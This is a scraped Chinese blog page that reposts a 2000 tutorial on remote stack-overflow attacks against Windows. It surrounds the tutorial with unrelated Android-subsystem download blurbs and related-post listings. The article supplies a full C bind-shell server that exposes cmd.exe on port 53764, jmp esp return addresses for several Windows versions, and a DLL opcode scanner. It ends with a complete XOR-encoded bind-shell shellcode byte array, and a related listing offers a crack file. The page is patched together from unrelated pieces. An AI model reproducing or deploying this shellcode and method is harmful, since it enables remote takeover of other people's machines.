【原理】window系统下的远程堆栈溢出

在win10运行WSA-2301.40000.4.0(全网能在win10运行的WSA最高版本) 让你的win10运行WSA_2301.40000.4.0,此版本是目前能在win10运行的WSA里最高的版本。 使用方法:只有点开文件夹里的Run.bat即可安装! 优点:是win10运行的WSA里最高的版本,比乐软博客里的WSA for win10里安装的版本高得多。 缺点:只有英文版的,想要汉化版的话关注我,小编努力做出汉化版! *注意: (1).此软件只支持x64,你的win10版本要是22H2 19045.2311(更低的版本没试过,可以试一试)。 (2).切记要在控制面板里开虚拟机平台,和Hyper-V,不然开不了WSA (3).这个资源是在https://blog.csdn.net/weixin_42793435/article/details/129195583这篇文章里获得的,具体用法在这篇文章里看。 立即下载
window系统下的远程堆栈溢出 --《原理篇》

作者:ipxodi (ipxodi@263.net)
主页:http://www.nsfocus.com
日期:2000-05-05


----前言

我们来研究windows系统下的远程溢出方法。
我们的目的是研究如何利用windows程序的溢出来进行远程攻击。

如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章:
《window系统下的堆栈溢出》(NsfocusMagzine 20003)。
本文以及后续的《实战篇》都是建立在该文基础上的。

让我们从头开始。windows 2000 Advanced Server(Build 5.00.2195)

    第一篇    《原理篇》

----远程溢出算法

如何开一个远程shell呢?
思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。
我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,
然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,
把客户的输入输出和cmd.exe的输入输出联系起来,我们
远程的使用者就有了一个远程shell(跟telnet一样啦)。

上面的算法我想大家都该想得到,这里面socket部分比较简单。和Unix下的基本
差不多。就是加了一个WSAStartup;为客户开创一个cmd.exe,就是用CreateProcess
来创建这个子进程;但是如何把客户的输入输出和cmd.exe的输出输入联系起来呢?
我使用了匿名管道(Anonymous Pipe)来完成这个联系过程。

管道(Pipe)是一种简单的进程间通信(IPC)机制。在Windows NT,2000,98,95下都
可以使用。管道分有名和匿名两种,命名管道可以在同一台机器的不同进程间以及不同
机器
上的不同进程之间进行双向通信(使用UNC命名规范)。

匿名管道只是在父子进程之间或者一个进程的两个子进程之间进行通信。他是单向的。
匿名管道其实是通过用给了一个指定名字的有名管道来实现的。

管道的最大好处在于:他可以象对普通文件一样进行操作。
他的操作标示符是HANDLE,也就是说,他可以使用readFile,
WriteFile函数来进行与底层实现无关的读写操作!用户根本就不必了解网络间/进程间
通信的具体细节。

下面就是这个算法的C实现:

/***************************************************************************
*/
/* Telnetd.cpp By Ipxodi tested in win2000
To illustrated the method of telnetd.
Only one connection can be accept,
feel free to add select... to fit for multiple client
*/
#include <winsock2.h>
#include <stdio.h>

int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
/*
这段代码是用来建立一个Tcp Server的,我们先申请一个socketfd,
使用53764(随便,多少都行)作为这个socket连接的端口,bind他,
然后在这个端口上等待连接listen。程序阻塞在accept函数直到有
client连接上来。
*/
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
/*
创建两个匿名管道。hReadPipe只能用来读管道,hWritePipe1只能用来写管道。
*/
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;


ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformati
on);
/*
这段代码创建了一个shell(cmd.exe),并且把cmd.exe的标准输入用第二个管道的
读句柄替换。cmd.exe的标准输出和标准错误输出用第一个管道的写句柄替换。
这两个管道的逻辑示意图如下:
(父进程)    read<---〔管道一〕<---write  标准输出(cmd.exe子进程)
(父进程)   write--->〔管道二〕--->read   标准输入(cmd.exe子进程)
*/

unsigned long lBytesRead;
while(1) {
  ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
  if(lBytesRead) {
   ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
   if(!ret) break;
   ret=send(clientFD,Buff,lBytesRead,0);
   if(ret<=0) break;
  }else {
   lBytesRead=recv(clientFD,Buff,1024,0);
   if(lBytesRead<=0) break;
   ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
   if(!ret) break;
  }
}
/*
这段代码完成了客户输入和shell的交互。PeekNamedPipe用来异步的查询管道一,
看看shell是否有输出。如果有就readfile读出来,并发送给客户。如果没有,
就去接受客户的输入。并writefile写入管道传递给shell.
这两个管道与client和server的配合逻辑图如下:
输入命令(Client) <-- send(父进程)    read<--〔管道一〕<--write  标准输出
(cmd.exe子进程)
获得结果(Client) recv-->(父进程)write-->〔管道二〕-->read   标准输入
(cmd.exe子进程)

*/
return 0;
}
/***************************************************************************
*/

----shellcode疑难问题

下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,
我采用如下办法来解决:
1)跳转指令地址的问题
因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回
后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。)
所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,
使用jmp esp 就可以跳到我们的shellcode上来。

当然,这里面作了一个假设,就是程序是由调用者来负责堆栈的恢复的。
汇编代码就是这个样子:
push eax;    
push ebx;    
push ecx;    
call SubRutine
add esp,000C

但是,如果是由子程序来负责恢复堆栈,
SubRutine:
....
:010091F3 C9                      leave
:010091F4 C20C00                  ret 000C
esp就不是指向我们的shellcode开始位置。它将指向shellcode+0c的位置。

事实上,当你在试图发现敌人程序的一个溢出点时,这个数值(这里是0C)是可以
很精确的发现的,因为你可以看到他的汇编原代码呀!

为了解决这种情况下shellcode不能被正确执行的问题,我们可以在shellcode前面
加上0c个nop.

这样,我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。
在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为
这kernel32.dll是系统核心DLL,加载在前面,后面的dll安装地址要随前面dll的
变动而变动,为了通用性的考虑,采用KERNEL32.DLL。

那么这些地址就是固定的了:
win98第二版下(4.00.2222a),返回地址为:0xbff795a3
winnt4下(4.00.1381),返回地址为:0x77f0eac3
win2000下(5.00.2195),返回地址为:0x77e2e32a

以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出
选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。
jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,
所以,在攻击之前,必须通过一些蛛丝马迹,判断敌人的类型。

以下是测试时候使用的代码:
#ifdef WIN2000
#define JUMPESP "/x2a/xe3/xe2/x77"
#endif
#ifdef WINNT4
#define JUMPESP "/xc3/xea/xf0/x77"
#endif
#ifdef WIN98 //2222a
#define JUMPESP "/xa3/x95/xf7/xbf"
#endif
#ifdef EXPLOIT
#define JUMPESP "敌人目标程序上的jmp esp地址。"
#endif

如果你有softice,可以直接在内存里面搜ffe4。如果没有,
绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。
我把他改了一下,可以搜索指定dll中的FFE4。算法如下:
/****************************************************************************/
/*ffe4.cpp By Backend
*/
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");

if(argc>1)    {
    strcpy(dllname,argv[1]);
}

h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}

BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/
2)shellcode所使用函数的问题
在shellcode里面使用了很多win32函数,比如ReadFile,CreateProcess等等。
这些函数必须加载到了敌人程序的进程空间里面后我们才能使用。
我们将攻击的敌人的远程服务程序里面并不能保证已经load了我们所需要的
所有的函数。

我们希望可以作出一个平台无关的shellcode,这就必须:
不直接使用OS版本相关的函数入口地址。
这是因为函数入口地址是根据OS/SP/升级的版本不同而可能不同的。

唯一的办法就是对使用的每一个win32函数,都使用LoadLibrary加载dll,
用GetProcAddress函数来获得函数地址。这需要我们的shellcode里面有一个函数名表
保存每一个所使用的函数的函数名,并且在shellcode执行前,调用上述两个函数
一一获得这些函数的地址。

但是又有一个问题,就是LoadLibrary和GetProcAddress本身的地址怎么获得呢?
我们想一想,这两个函数的作用?"取得所有其他函数的地址。"
没错,他们太重要了,每一个win32程序都要使用它们!那么,我们的目标程序呢?
肯定也会有它们的。所以,在写exploit的时候,这两个函数的地址都是确定的。

如何找到这两个函数在目标程序里面的加载地址呢?它们会不会是根据敌人操作系统
的不同而变化的呢?不是。这些动态加载的函数都是在目标程序里面设置了一个入口表。
由目标程序自己去加载,但是他的入口表地址是固定的。

你可以使用wdasm32来搜索LoadLibrary和GetProcAddress,
可以看到它们对应的入口表地址AAAA。在shellcode里面,
可以直接用call [AAAA]来引用它们。

3)shellcode里面使用的字符串问题
刚刚解决了第二个问题,就引出了第三个问题。前面提到过使用函数名表以用来动态获得
函数地址。但是这些函数名字都要以/0x0结尾的!我们的shellcode最基本的一条,
就是里面绝对不能含有/0x0,也不可以有回车换行/n.

解决的办法,就是先对字符串表进行编码(好吓人)处理,处理掉所有的非法字符,
shellcode在使用前,由一个子程序来进行解码。

我使用的方法就是对字符串进行 xor 0x99处理。这样编解码就是一个程序了。

下面是编解码程序:
  0xb1, 0xc6,                    /* mov cl, C6                      */
  0x8b, 0xc7,                    /* mov eax, edi                    */
  /*Xorshellcode */              /*                                 */
  0x48,                          /* dec eax                         */
  0x80, 0x30, 0x99,              /* xor byte ptr [eax], 99          */
  0xe2, 0xfa,                    /* loop Xorshellcode               */

呵呵,一点都不吓人,很简单,是不是?
我们将使用的资源列表就是前面使用的所有函数,加上"cmd.exe"。具体为:

/****************************************************************************/
    db "KERNEL32" ,0;string to push for LoadLibrary.
    db "CreatePipe",0
    db "GetStartupInfoA",0  
    db "CreateProcessA",0
    db "PeekNamedPipe",0
    db "GlobalAlloc",0
    db "WriteFile",0
    db "ReadFile",0
    db "Sleep",0
    db "ExitProcess",0
    db "WSOCK32",0
    db "socket",0     
    db "bind",0       
    db "listen",0     
    db "accept",0     
    db "send",0       
    db "recv",0       
                      
sockstruc STRUCT      
    sin_family dw      0002h
    sin_port   dw      ?
    sin_addr   dd      ?
    sin_zero   db      8 dup (0)
sockstruc ENDS        
                      
    db "cmd.exe",0
    dd 0ffffffffh     
    db 00dh, 00ah
      
/****************************************************************************/

4)shellcode的编写
将前面的C程序编译出来,提取出shellcode,然后加上前面的编解码和函数加载模块就可以了。


应用前面的设计思想,我们可以写出来shellcode如下:

unsigned char sploit[580] = {
  0x90, 0x8b, 0xfc,         /* mov edi,esp        */                
  0x33, 0xc0,          /* xor eax, eax                    */
  0x50,                          /* push eax                        */
  0xf7, 0xd0,                    /* not eax                         */
  0x50,                          /* push eax                        */
  0x59,                          /* pop ecx                         */
  0xf2,                          /* repnz                           */
  0xaf,                          /* scasd                           */
  0x59,                          /* pop ecx                         */
  0xb1, 0xc6,                    /* mov cl, C6                      */
  0x8b, 0xc7,                    /* mov eax, edi                    */
  /*Xorshellcode */              /*                                 */
  0x48,                          /* dec eax                         */
  0x80, 0x30, 0x99,              /* xor byte ptr [eax], 99          */
  0xe2, 0xfa,                    /* loop Xorshellcode               */
  0x33, 0xf6,          /* xor esi, esi                    */
  0x96,                          /* xchg eax,esi                    */
  0xbb,0x99, 0xe8, 0x61, 0x42,   /* mov ebx, &LoadLibrary           */
  0xc1, 0xeb, 0x08,              /* shr ebx, 08                     */
  0x56,                          /* push esi                        */
  0xff, 0x13,                    /* call dword ptr [ebx]            */
  0x8b, 0xd0,        /* mov edx, eax                    */
  0xfc,                          /* cld                             */
  0x33, 0xc9,                    /* xor ecx, ecx                    */
  0xb1, 0x0b,                    /* mov cl, 0B                      */
  0x49,                          /* dec ecx                         */
  /* loadKernelProcess */        /*                                 */
  0x32, 0xc0,                    /* xor al, al                      */
  0xac,                          /* lodsb                           */
  0x84, 0xc0,                    /* test al, al                     */
  0x75, 0xf9,                    /* jne loadKernelProcess           */
  0x52,              /* push edx                        */
  0x51,                          /* push ecx                        */
  0x56,                          /* push esi                        */
  0x52,                          /* push edx                        */
  0xb3, 0xe4,                    /* mov bl, e4    &GetProcAddr      */
  0xff, 0x13,                    /* call dword ptr [ebx]            */
  0xab,                          /* stosd                           */
  0x59,                          /* pop ecx                         */
  0x5a,                          /* pop edx                         */
  0xe2, 0xec,                    /* loop loadKernelProcess          */
                                 /*                                 */
  0x32, 0xc0,                    /* xor al, al                      */
  0xac,                          /* lodsb                           */
  0x84, 0xc0,                    /* test al, al                     */
  0x75, 0xf9,                    /* jne 00000176                    */
  0xb3, 0xe8,                    /* mov bl, e8                      */
  0x56,                          /* push esi                        */
  0xff, 0x13,                    /* call dword ptr [ebx]            */
  0x8b, 0xd0,                    /* mov edx, eax                    */
  0xfc,                          /* cld                             */
  0x33, 0xc9,                    /* xor ecx, ecx                    */
  0xb1, 0x06,                    /* mov cl, 06                      */
/* loadSocketProcess */                                             
  0x32, 0xc0,                    /* xor al, al                      */
  0xac,                          /* lodsb                           */
  0x84, 0xc0,                    /* test al, al                     */
  0x75, 0xf9,                    /* jne loadSocketProcess           */  
  0x52,                          /* push edx                        */
  0x51,                          /* push ecx                        */
  0x56,                          /* push esi                        */
  0x52,                          /* push edx                        */
  0xb3, 0xe4,                    /* mov bl, e4                      */
  0xff, 0x13,                    /* call dword ptr [ebx]            */
  0xab,                          /* stosd                           */
  0x59,                          /* pop ecx                         */
  0x5a,                          /* pop edx                         */
  0xe2, 0xec,                    /* loop loadSocketProcess          */  
/*
    这一段代码就是前期的准备工作,它负责获得所有的函数的入口地址,这些函数是:
    "KERNEL32.dll"
            "CreatePipe"
            "GetStartupInfoA"
            "CreateProcessA"
            "PeekNamedPipe"
            "GlobalAlloc"
            "WriteFile"
            "ReadFile"
            "Sleep"
            "ExitProcess"
              
    "WSOCK32.dll"
            "socket"     
            "bind"     
            "listen"     
            "accept"     
            "send"       
            "recv"       
*/
  0x83, 0xc6, 0x05,              /*  add esi, 00000005  */
  0x33, 0xc0,                    /* xor eax, eax        */
  0x50,                          /* push eax            */
  0x40,                          /* inc eax             */
  0x50,                          /* push eax            */
  0x40,                          /* inc eax             */
  0x50,                          /* push eax            */
  0xff, 0x57, 0xe8,              /* call [edi-18]       */
  0x93,                          /* xchg eax,ebx        */
  0x6a, 0x10,                    /* push 00000010       */     
  0x56,                          /* push esi            */      
  0x53,                          /* push ebx            */      
  0xff, 0x57, 0xec,              /* call [edi-14]       */     
  0x6a, 0x02,                    /* push 00000002     */
  0x53,                          /* push ebx            */
  0xff, 0x57, 0xf0,              /* call [edi-10]       */
  0x33, 0xc0,                    /* xor eax, eax        */
  0x57,                          /* push edi            */
  0x50,                          /* push eax            */
  0xb0, 0x0c,                    /* mov al, 0C          */
  0xab,                          /* stosd               */
  0x58,                          /* pop eax             */
  0xab,                          /* stosd               */
  0x40,                          /* inc eax             */
  0xab,                          /* stosd            */
  0x5f,                          /* pop edi             */
  0x48,                          /* dec eax             */
  0x50,                          /* push eax         */
  0x57,                          /* push edi            */
  0x56,                          /* push esi            */
  0xad,                          /* lodsd               */
  0x56,                          /* push esi            */
  0xff, 0x57, 0xc0,              /* call [edi-40]       */
  0x48,                          /* dec eax             */
  0x50,                          /* push eax            */
  0x57,                          /* push edi            */
  0xad,                          /* lodsd               */
  0x56,                          /* push esi            */
  0xad,                          /* lodsd               */
  0x56,                          /* push esi            */
  0xff, 0x57, 0xc0,              /* call [edi-40]    */
  0x48,                          /* dec eax                     */
  0xb0, 0x44,                    /* mov al, 44                  */
  0x89, 0x07,                    /* mov dword ptr [edi], eax    */
  0x57,                          /* push edi                    */
  0xff, 0x57, 0xc4,              /* call [edi-3C]       */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x8b, 0x46, 0xf4,              /* mov eax, dword ptr [esi-0C] */
  0x89, 0x47, 0x3c,              /* mov dword ptr [edi+3C], eax */
  0x89, 0x47, 0x40,              /* mov dword ptr [edi+40], eax */
  0x8b, 0x06,                    /* mov eax, dword ptr [esi]    */
  0x89, 0x47, 0x38,              /* mov dword ptr [edi+38], eax */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x66, 0xb8, 0x01, 0x01,        /* mov ax, 0101                */
  0x89, 0x47, 0x2c,              /* mov dword ptr [edi+2C], eax */
  0x57,                          /* push edi                    */
  0x57,                          /* push edi                    */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x50,                          /* push eax                    */
  0x50,                          /* push eax                    */
  0x50,                          /* push eax                    */
  0x40,                          /* inc eax                     */
  0x50,                          /* push eax                    */
  0x48,                          /* dec eax                     */
  0x50,                          /* push eax                    */
  0x50,                          /* push eax                    */
  0xad,                          /* lodsd                       */
  0x56,                          /* push esi                    */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x50,                          /* push eax                    */
  0xff, 0x57, 0xc8,              /* call [edi-38]               */
  0xff, 0x76, 0xf0,              /* push [esi-10]               */
  0xff, 0x57, 0xcc,              /* call [edi-34]               */
  0xff, 0x76, 0xfc,              /* push [esi-04]               */
  0xff, 0x57, 0xcc,              /* call [edi-34]    */
  0x48,                          /* dec eax          */
  0x50,                          /* push eax                    */
  0x50,                          /* push eax                    */
  0x53,                          /* push ebx                    */
  0xff, 0x57, 0xf4,              /* call [edi-0C]               */
  0x8b, 0xd8,                    /* mov ebx, eax                */
  0x33, 0xc0,                    /* xor eax, eax                */
  0xb4, 0x04,                    /* mov ah, 04                  */
  0x50,                          /* push eax                    */
  0xc1, 0xe8, 0x04,              /* shr eax, 04                 */
  0x50,                          /* push eax                    */
  0xff, 0x57, 0xd4,              /* call [edi-2C]               */
  0x8b, 0xf0,                    /* mov esi, eax                */
/* PeekPipe: */                                                 
  0x33, 0xc0,                    /* xor eax, eax                */
  0x8b, 0xc8,                    /* mov ecx, eax                */
  0xb5, 0x04,                    /* mov ch, 04                  */
  0x50,                          /* push eax                    */
  0x50,                          /* push eax                    */
  0x57,                          /* push edi                    */
  0x51,                          /* push ecx                    */
  0x56,                          /* push esi              */
  0xff, 0x77, 0xa8,              /* push [edi-58]               */
  0xff, 0x57, 0xd0,              /* call [edi-30]               */
  0x83, 0x3f, 0x01,              /* cmp dword ptr [edi], 0000000*/
  0x7c, 0x22,                    /* jl GetUserInput             */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x50,                          /* push eax                    */
  0x57,                          /* push edi                    */
  0xff, 0x37,                    /* push dword ptr [edi]        */
  0x56,                          /* push esi                    */
  0xff, 0x77, 0xa8,              /* push [edi-58]               */
  0xff, 0x57, 0xdc,              /* call [edi-24]               */
  0x0b, 0xc0,                    /* or eax, eax                 */
  0x74, 0x2f,                    /* je GameOver                 */
  0x33, 0xc0,                    /* xor eax, eax                */
  0x50,                          /* push eax                    */
  0xff, 0x37,                    /* push dword ptr [edi]        */
  0x56,                          /* push esi                    */
  0x53,                          /* push ebx                    */
  0xff, 0x57, 0xf8,              /* call [edi-08]               */
  0x6a, 0x50,                    /* push 00000050               */
  0xff, 0x57, 0xe0,              /* call [edi-20]               */
  0xeb, 0xc8,                    /* jmp PeekPipe                */
/* GetUserInput: */                                             
  0x33, 0xc0,                    /* xor eax, eax                */
  0x50,                          /* push eax                    */
  0xb4, 0x04,                    /* mov ah, 04                  */
  0x56,                          /* push esi                    */
  0x53,                          /* push ebx                    */
  0xff, 0x57, 0xfc,              /* call [edi-04]               */
  0x57,                          /* push edi                    */
  0x33, 0xc9,                    /* xor ecx, ecx                */
  0x51,                          /* push ecx                    */
  0x50,                          /* push eax                    */
  0x56,                          /* push esi                    */
  0xff, 0x77, 0xac,              /* push [edi-54]               */
  0xff, 0x57, 0xd8,              /* call [edi-28]               */
  0x6a, 0x50,                    /* push 00000050               */
  0xff, 0x57, 0xe0,              /* call [edi-20]               */
/* GameOver:   */                                               
  0xeb, 0xaa,                    /* jmp PeekPipe                */
  0x50,                          /* push eax                    */
  0xff, 0x57, 0xe4,              /* call [edi-1C]               */
  0x90,                          /* nop                         */
/*
    这里的长长代码就是那段C语言的算法,我的注释很详细,就不多说了
*/
  0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,
  0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
  0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,
  0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,
  0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,
  0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
  0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
  0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
  0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
  0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
  0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,
  0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
  0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
  0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
  0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
  0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=53764
  0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
  0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,
  0x0d, 0x0a};
/*
    这些就是那个字符串表,已经经过了编码。
*/
WSApatch-20230119 for win10 解决WsaClient.exe 无法定位程序输入点ucal-getHos 运行时会出现“WsaClient.exe 无法定位程序输入点ucal_getHostTimeZone于动态链接库...”错误 将解压的dll放置在WsaClient.exe同级目录即可。 立即下载

相关推荐

【WSA工具箱】WsaToolbox_v1.3.0.rar

WSA工具箱,是一款非常专业的Windows11调试Android工具。这款软件适用于Windows11操作系统,可以帮助用户在电脑中更好的管理安卓子系统,甚至可以直接帮助用户安装安卓软件

如何在Win10上安装WSA,用上安卓应用

在Win10上安装WSA,用上安卓应用

weixin_42371376的博客 1万+

SIMULIA-Simpack 2022x新功能介绍

增加库伦摩擦类型力元95 Coulomb Friction增加了3种新的摩擦方向类型用于模拟平面、圆柱和球面摩擦。针对平移和旋转摩擦改进了滑动到粘着过渡阶段的检测,增加一个参数定义两种不同的滑移-粘滞过渡模式,即“Unloaded stick stiffness”和“Preload stick with last slip”。新增加124'Applied Load’力元允许用户将力或扭矩作为恒定值或通过激励元素施加到To Marker点上。该力元建模操作方便,效率高。支持线性柔性体装配。

crystalzhan的博客 1052

window系统下的远程堆栈溢出 --《原理篇》

window系统下的远程堆栈溢出 --《原理篇》   作者:ipxodi (ipxodi@263.net)   ----前言   我们来研究windows系统下的远程溢出方法。 我们的目的是研究如何利用windows程序的溢出来进行远程攻击。   如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章: 《window系统下的堆栈溢出》(NsfocusMagzine 20003

老鬼的专栏 2092

采用超级电容设计的UPS不间断电源,用于掉电数据保存,可续航10-60秒

关键词:树莓派 CM4 UPS 不间断电源 掉电保存 超级电容 SuperCap 充电 升压 续航 10F 法拉电容 Mcuzone 野芯科技 概述:我们经常会遇到系统意外掉电的情况,对于一些可靠性要求很高的工业现场设备或者运行过程中有重要数据需要保存的平台就需要UPS电源了。常规的UPS采用后备锂电池设计,具备无缝切换、续航时间长、稳定可靠等特点,但同时也有价格过高、体积过大的缺点。对于不少仅需在检测到系统掉电后对数据进行保存即可的应用而言,这些标准的UPS电源就不太合适,为此我...

6619

气动平衡回路

平衡回路是一种应用非常广泛的流体回路。 目的是提供可控的系统压力,对负载进行平衡。达到重物与系统提供的力平衡,实现快速运动,或者较小驱动力搬运较重负载的作用。 一、基础平衡回路 这个平衡回路,通过减压阀,调节气缸有杆腔压力,实现气缸上移。 下边吊着重物,或者气缸为单作用缸的话,气缸会自己伸出。 平衡后的效果。 二、带防掉落的平衡系统 通过快速排气阀,实现快速动作。 气控锁在气源压力不够时,保持负载不下落。 三、未完待续 ...

weixin_42952688的博客 6292

win10安装安卓子系统android13肯定成功Windows Subsystem for Android(WSA)install 无法定位程序输入点ucal_getHostTimeZone 无网络

win10安装安卓子系统android13肯定成功Windows Subsystem for Android(WSA)install 无法定位程序输入点ucal_getHostTimeZone 无网络 no virtWifi no intenet network no working error

myhappyandy的博客 9603

平面变压器PCB绕组设计实战:从原理到布局的工程考量

本文深入探讨了平面变压器PCB绕组设计的工程实践,从基础原理到布局优化,涵盖了电流密度、层间绝缘、绕组拓扑结构等关键参数。通过实战案例分享,解析了高频应用中的集肤效应、邻近效应等挑战,并提供了热管理和EMC优化的实用技巧,助力工程师在服务器电源、车载充电器等空间敏感场景实现高效设计。

weixin_42666036的博客 481

远程堆栈溢出 原理篇

我们来研究windows系统下的远程溢出方法。 我们的目的是研究如何利用windows程序的溢出来进行远程攻击。 如果对于windows下的缓冲区溢出不是很熟悉,请大家复习我前面的文章: 《window系统下的堆栈溢出》(NsfocusMagzine 20003)。 本文以及后续的《实战篇》都是建立在该文基础上的。 让我们从头开始。windows 2000 Advanced Server(Buil

|游梦空间| 1002

交换机救命命令手册:华为 & 思科平台最全运维指令速查表

很多时候,真正拉你一把的不是“高深理论”,而是你手里有没有一份靠得住的命令速查表。这篇文章,希望能成为你“进可调试,退可排障”的一份救命卡片。

HuaweiLab_Peach的博客 1523

solidworks实体显示线框

solidworks实体莫名其妙显示为有点虚的线框

qq_35858902的博客 1万+

Windows系统下的远程堆栈溢出

Windows系统下的远程堆栈溢出 作者: Ipxodi 第一篇 《原理篇》 ----远程溢出算法 如何开一个远程shell呢? 思路是这样的:首先使敌人的程序溢出,让他执行我们的shellcode。我们的shellcode的功能就是在敌人的机器上用某个端口开一个telnetd 服务器,然后等待客户来的连接。当客户连接上之后,为这个客户开创一个cmd.exe,把客户的输入输出和cmd.e...

weixin_30820077的博客 209

【GlobalMapper精品教程】084:tif(tfw)、jpg(jgw)、png(pgw)的区别与联系

摘要:本文介绍了TFW、JGW、PGW等地理参考文件的基本原理和应用。这些文件通过简单的文本格式存储栅格图像的地理坐标信息,适用于平面坐标系下的GIS数据处理。文章详细说明了文件各行的含义,并提供了在ArcGIS和Globalmapper中生成这些文件的具体操作步骤,包括导出TIFF、JPG、PNG格式时勾选生成对应坐标文件的选项。这些文件虽然简单易用,但仅适用于平面坐标系,且功能相对有限。配套视频教程提供了更详细的操作演示。

智慧空间实验室 2420

堆栈溢出问题

通过堆栈溢出来获得root权限是目前使用的相当普遍的一项黑客技术。事实上这是一个黑客在系统 本地已经拥有了一个基本账号后的首选攻击方式。他也被广泛应用于远程攻击。通过对daemon进程 的堆栈溢出来实现远程获得rootshell的技术,已经被很多实例实现。 在windows系统中,同样存在着堆栈溢出的问题。而且,随着internet的普及,win系列平台上的 internet服务程序越来越

fengzhishang2019的专栏 1556

【ComfyUI 基础教程】ComfyUI 局部重绘工作流教程

本篇指南将带你了解 ComfyUI 中的局部重绘工作流,并带你完成一个局部重绘的示例,以及遮罩编辑器的使用等。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 308

IMSL CNL 7.0.0 (x86-64)Crack

IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件

堆栈溢出从入门到提高

